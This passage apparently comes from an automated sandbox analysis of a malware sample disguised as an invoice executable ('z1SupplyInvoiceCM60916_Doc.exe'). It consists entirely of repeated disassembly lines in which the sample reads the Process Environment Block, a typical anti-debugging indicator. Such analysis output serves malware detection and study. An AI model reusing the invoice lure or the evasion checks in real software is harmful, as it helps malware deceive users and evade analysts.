Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017863C0 mov eax, dword ptr fs:[00000030h]	11_2_017863C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FE388 mov eax, dword ptr fs:[00000030h]	11_2_016FE388
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FE388 mov eax, dword ptr fs:[00000030h]	11_2_016FE388
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FE388 mov eax, dword ptr fs:[00000030h]	11_2_016FE388
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F8397 mov eax, dword ptr fs:[00000030h]	11_2_016F8397
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F8397 mov eax, dword ptr fs:[00000030h]	11_2_016F8397
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F8397 mov eax, dword ptr fs:[00000030h]	11_2_016F8397
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172438F mov eax, dword ptr fs:[00000030h]	11_2_0172438F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172438F mov eax, dword ptr fs:[00000030h]	11_2_0172438F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F826B mov eax, dword ptr fs:[00000030h]	11_2_016F826B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274 mov eax, dword ptr fs:[00000030h]	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01704260 mov eax, dword ptr fs:[00000030h]	11_2_01704260
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01704260 mov eax, dword ptr fs:[00000030h]	11_2_01704260
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01704260 mov eax, dword ptr fs:[00000030h]	11_2_01704260
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D625D mov eax, dword ptr fs:[00000030h]	11_2_017D625D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706259 mov eax, dword ptr fs:[00000030h]	11_2_01706259
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BA250 mov eax, dword ptr fs:[00000030h]	11_2_017BA250
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BA250 mov eax, dword ptr fs:[00000030h]	11_2_017BA250
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01788243 mov eax, dword ptr fs:[00000030h]	11_2_01788243
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01788243 mov ecx, dword ptr fs:[00000030h]	11_2_01788243
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FA250 mov eax, dword ptr fs:[00000030h]	11_2_016FA250
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F823B mov eax, dword ptr fs:[00000030h]	11_2_016F823B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017102E1 mov eax, dword ptr fs:[00000030h]	11_2_017102E1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017102E1 mov eax, dword ptr fs:[00000030h]	11_2_017102E1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017102E1 mov eax, dword ptr fs:[00000030h]	11_2_017102E1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D62D6 mov eax, dword ptr fs:[00000030h]	11_2_017D62D6
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0170A2C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0170A2C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0170A2C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0170A2C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0170A2C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017962A0 mov eax, dword ptr fs:[00000030h]	11_2_017962A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017962A0 mov ecx, dword ptr fs:[00000030h]	11_2_017962A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017962A0 mov eax, dword ptr fs:[00000030h]	11_2_017962A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017962A0 mov eax, dword ptr fs:[00000030h]	11_2_017962A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017962A0 mov eax, dword ptr fs:[00000030h]	11_2_017962A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017962A0 mov eax, dword ptr fs:[00000030h]	11_2_017962A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E284 mov eax, dword ptr fs:[00000030h]	11_2_0173E284
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E284 mov eax, dword ptr fs:[00000030h]	11_2_0173E284
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01780283 mov eax, dword ptr fs:[00000030h]	11_2_01780283
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01780283 mov eax, dword ptr fs:[00000030h]	11_2_01780283
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01780283 mov eax, dword ptr fs:[00000030h]	11_2_01780283
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173656A mov eax, dword ptr fs:[00000030h]	11_2_0173656A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173656A mov eax, dword ptr fs:[00000030h]	11_2_0173656A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173656A mov eax, dword ptr fs:[00000030h]	11_2_0173656A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708550 mov eax, dword ptr fs:[00000030h]	11_2_01708550
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708550 mov eax, dword ptr fs:[00000030h]	11_2_01708550
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710535 mov eax, dword ptr fs:[00000030h]	11_2_01710535
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710535 mov eax, dword ptr fs:[00000030h]	11_2_01710535
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710535 mov eax, dword ptr fs:[00000030h]	11_2_01710535
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710535 mov eax, dword ptr fs:[00000030h]	11_2_01710535
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710535 mov eax, dword ptr fs:[00000030h]	11_2_01710535
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710535 mov eax, dword ptr fs:[00000030h]	11_2_01710535
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E53E mov eax, dword ptr fs:[00000030h]	11_2_0172E53E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E53E mov eax, dword ptr fs:[00000030h]	11_2_0172E53E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E53E mov eax, dword ptr fs:[00000030h]	11_2_0172E53E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E53E mov eax, dword ptr fs:[00000030h]	11_2_0172E53E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E53E mov eax, dword ptr fs:[00000030h]	11_2_0172E53E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01796500 mov eax, dword ptr fs:[00000030h]	11_2_01796500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4500 mov eax, dword ptr fs:[00000030h]	11_2_017D4500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4500 mov eax, dword ptr fs:[00000030h]	11_2_017D4500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4500 mov eax, dword ptr fs:[00000030h]	11_2_017D4500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4500 mov eax, dword ptr fs:[00000030h]	11_2_017D4500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4500 mov eax, dword ptr fs:[00000030h]	11_2_017D4500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4500 mov eax, dword ptr fs:[00000030h]	11_2_017D4500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4500 mov eax, dword ptr fs:[00000030h]	11_2_017D4500
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017025E0 mov eax, dword ptr fs:[00000030h]	11_2_017025E0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E5E7 mov eax, dword ptr fs:[00000030h]	11_2_0172E5E7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C5ED mov eax, dword ptr fs:[00000030h]	11_2_0173C5ED
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C5ED mov eax, dword ptr fs:[00000030h]	11_2_0173C5ED
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017065D0 mov eax, dword ptr fs:[00000030h]	11_2_017065D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A5D0 mov eax, dword ptr fs:[00000030h]	11_2_0173A5D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A5D0 mov eax, dword ptr fs:[00000030h]	11_2_0173A5D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E5CF mov eax, dword ptr fs:[00000030h]	11_2_0173E5CF
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E5CF mov eax, dword ptr fs:[00000030h]	11_2_0173E5CF
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017245B1 mov eax, dword ptr fs:[00000030h]	11_2_017245B1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017245B1 mov eax, dword ptr fs:[00000030h]	11_2_017245B1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017805A7 mov eax, dword ptr fs:[00000030h]	11_2_017805A7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017805A7 mov eax, dword ptr fs:[00000030h]	11_2_017805A7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017805A7 mov eax, dword ptr fs:[00000030h]	11_2_017805A7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E59C mov eax, dword ptr fs:[00000030h]	11_2_0173E59C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01702582 mov eax, dword ptr fs:[00000030h]	11_2_01702582
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01702582 mov ecx, dword ptr fs:[00000030h]	11_2_01702582
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01734588 mov eax, dword ptr fs:[00000030h]	11_2_01734588
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172A470 mov eax, dword ptr fs:[00000030h]	11_2_0172A470
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172A470 mov eax, dword ptr fs:[00000030h]	11_2_0172A470
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172A470 mov eax, dword ptr fs:[00000030h]	11_2_0172A470
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178C460 mov ecx, dword ptr fs:[00000030h]	11_2_0178C460
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172245A mov eax, dword ptr fs:[00000030h]	11_2_0172245A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BA456 mov eax, dword ptr fs:[00000030h]	11_2_017BA456
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E443 mov eax, dword ptr fs:[00000030h]	11_2_0173E443
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F645D mov eax, dword ptr fs:[00000030h]	11_2_016F645D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A430 mov eax, dword ptr fs:[00000030h]	11_2_0173A430
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FC427 mov eax, dword ptr fs:[00000030h]	11_2_016FC427
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FE420 mov eax, dword ptr fs:[00000030h]	11_2_016FE420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FE420 mov eax, dword ptr fs:[00000030h]	11_2_016FE420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FE420 mov eax, dword ptr fs:[00000030h]	11_2_016FE420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786420 mov eax, dword ptr fs:[00000030h]	11_2_01786420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786420 mov eax, dword ptr fs:[00000030h]	11_2_01786420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786420 mov eax, dword ptr fs:[00000030h]	11_2_01786420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786420 mov eax, dword ptr fs:[00000030h]	11_2_01786420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786420 mov eax, dword ptr fs:[00000030h]	11_2_01786420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786420 mov eax, dword ptr fs:[00000030h]	11_2_01786420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786420 mov eax, dword ptr fs:[00000030h]	11_2_01786420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01738402 mov eax, dword ptr fs:[00000030h]	11_2_01738402
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01738402 mov eax, dword ptr fs:[00000030h]	11_2_01738402
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01738402 mov eax, dword ptr fs:[00000030h]	11_2_01738402
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017004E5 mov ecx, dword ptr fs:[00000030h]	11_2_017004E5
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017344B0 mov ecx, dword ptr fs:[00000030h]	11_2_017344B0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178A4B0 mov eax, dword ptr fs:[00000030h]	11_2_0178A4B0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017064AB mov eax, dword ptr fs:[00000030h]	11_2_017064AB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BA49A mov eax, dword ptr fs:[00000030h]	11_2_017BA49A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708770 mov eax, dword ptr fs:[00000030h]	11_2_01708770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770 mov eax, dword ptr fs:[00000030h]	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700750 mov eax, dword ptr fs:[00000030h]	11_2_01700750
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742750 mov eax, dword ptr fs:[00000030h]	11_2_01742750
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742750 mov eax, dword ptr fs:[00000030h]	11_2_01742750
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178E75D mov eax, dword ptr fs:[00000030h]	11_2_0178E75D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01784755 mov eax, dword ptr fs:[00000030h]	11_2_01784755
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173674D mov esi, dword ptr fs:[00000030h]	11_2_0173674D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173674D mov eax, dword ptr fs:[00000030h]	11_2_0173674D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173674D mov eax, dword ptr fs:[00000030h]	11_2_0173674D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177C730 mov eax, dword ptr fs:[00000030h]	11_2_0177C730
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173273C mov eax, dword ptr fs:[00000030h]	11_2_0173273C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173273C mov ecx, dword ptr fs:[00000030h]	11_2_0173273C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173273C mov eax, dword ptr fs:[00000030h]	11_2_0173273C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C720 mov eax, dword ptr fs:[00000030h]	11_2_0173C720
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C720 mov eax, dword ptr fs:[00000030h]	11_2_0173C720
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700710 mov eax, dword ptr fs:[00000030h]	11_2_01700710
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01730710 mov eax, dword ptr fs:[00000030h]	11_2_01730710
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C700 mov eax, dword ptr fs:[00000030h]	11_2_0173C700
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017047FB mov eax, dword ptr fs:[00000030h]	11_2_017047FB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017047FB mov eax, dword ptr fs:[00000030h]	11_2_017047FB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178E7E1 mov eax, dword ptr fs:[00000030h]	11_2_0178E7E1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017227ED mov eax, dword ptr fs:[00000030h]	11_2_017227ED
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017227ED mov eax, dword ptr fs:[00000030h]	11_2_017227ED
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017227ED mov eax, dword ptr fs:[00000030h]	11_2_017227ED
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170C7C0 mov eax, dword ptr fs:[00000030h]	11_2_0170C7C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017807C3 mov eax, dword ptr fs:[00000030h]	11_2_017807C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B47A0 mov eax, dword ptr fs:[00000030h]	11_2_017B47A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017007AF mov eax, dword ptr fs:[00000030h]	11_2_017007AF
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A678E mov eax, dword ptr fs:[00000030h]	11_2_017A678E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01732674 mov eax, dword ptr fs:[00000030h]	11_2_01732674
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C866E mov eax, dword ptr fs:[00000030h]	11_2_017C866E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C866E mov eax, dword ptr fs:[00000030h]	11_2_017C866E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A660 mov eax, dword ptr fs:[00000030h]	11_2_0173A660
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A660 mov eax, dword ptr fs:[00000030h]	11_2_0173A660
